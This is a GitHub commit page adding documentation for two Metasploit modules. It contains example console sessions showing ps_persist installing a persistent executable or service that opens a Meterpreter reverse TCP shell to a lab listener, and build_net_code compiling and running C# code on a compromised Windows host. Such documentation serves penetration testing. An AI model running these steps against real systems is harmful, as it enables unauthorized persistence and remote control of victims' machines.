Skip to content

Commit df597a7

Browse files
committed
add module documentation
1 parent 5284db6 commit df597a7

File tree

2 files changed

+120
-0
lines changed

2 files changed

+120
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
2+
## Example Usage
3+
4+
```
5+
msf exploit(handler) > use exploit/windows/local/ps_persist
6+
msf exploit(ps_persist) > set session -1
7+
session => -1
8+
msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp
9+
payload => windows/meterpreter/reverse_tcp
10+
msf exploit(ps_persist) > set lhost 192.168.56.1
11+
lhost => 192.168.56.1
12+
msf exploit(ps_persist) > set lport 4445
13+
lport => 4445
14+
msf exploit(ps_persist) > show options
15+
16+
Module options (exploit/windows/local/ps_persist):
17+
18+
Name Current Setting Required Description
19+
---- --------------- -------- -----------
20+
OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension
21+
SESSION -1 yes The session to run this module on.
22+
START_APP true no Run EXE/Install Service
23+
SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service
24+
SVC_GEN false no Build a Windows service, which defaults to running as localsystem
25+
SVC_NAME MsfDynSvc no Name to use for the Windows Service
26+
27+
28+
Payload options (windows/meterpreter/reverse_tcp):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
33+
LHOST yes The listen address
34+
LPORT 4445 yes The listen port
35+
36+
37+
Exploit target:
38+
39+
Id Name
40+
-- ----
41+
0 Universal
42+
43+
44+
msf exploit(ps_persist) > run
45+
46+
[*] Started reverse TCP handler on 192.168.56.1:4445
47+
[+] - Bytes remaining: 9664
48+
[+] - Bytes remaining: 1664
49+
[+] Payload successfully staged.
50+
[*] Sending stage (957999 bytes) to 192.168.56.101
51+
[+] Finished!
52+
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500
53+
54+
meterpreter > sysinfo
55+
Computer : DESKTOP-B8ALP1P
56+
OS : Windows 10 (Build 14393).
57+
Architecture : x64 (Current Process is WOW64)
58+
System Language : en_US
59+
Domain : WORKGROUP
60+
Logged On Users : 2
61+
Meterpreter : x86/win32
62+
```
63+
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Example Session
2+
3+
/tmp/hello.cs contains the following:
4+
5+
```
6+
using System;
7+
8+
public class Hello
9+
{
10+
public static void Main()
11+
{
12+
Console.WriteLine("Hello, World!");
13+
}
14+
}
15+
```
16+
17+
To build and run the code:
18+
19+
```
20+
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
21+
msf post(build_net_code) > set session -1
22+
session => -1
23+
msf post(build_net_code) > show options
24+
25+
Module options (post/windows/manage/powershell/build_net_code):
26+
27+
Name Current Setting Required Description
28+
---- --------------- -------- -----------
29+
ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults
30+
CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use
31+
COMPILER_OPTS /optimize no Options to pass to compiler
32+
OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension
33+
RUN_BINARY false no Execute the generated binary
34+
SESSION -1 yes The session to run this module on.
35+
SOURCE_FILE yes Path to source code
36+
37+
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
38+
SOURCE_FILE => /tmp/hello.cs
39+
msf post(build_net_code) > run
40+
41+
[*] Building remote code.
42+
[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb
43+
[+] Finished!
44+
[*] Post module execution completed
45+
msf post(build_net_code) > sessions -i -1
46+
[*] Starting interaction with 1...
47+
48+
meterpreter > shell
49+
Process 4840 created.
50+
Channel 7 created.
51+
Microsoft Windows [Version 10.0.14393]
52+
(c) 2016 Microsoft Corporation. All rights reserved.
53+
54+
E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
55+
C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
56+
Hello, World!
57+
```

0 commit comments

Comments
 (0)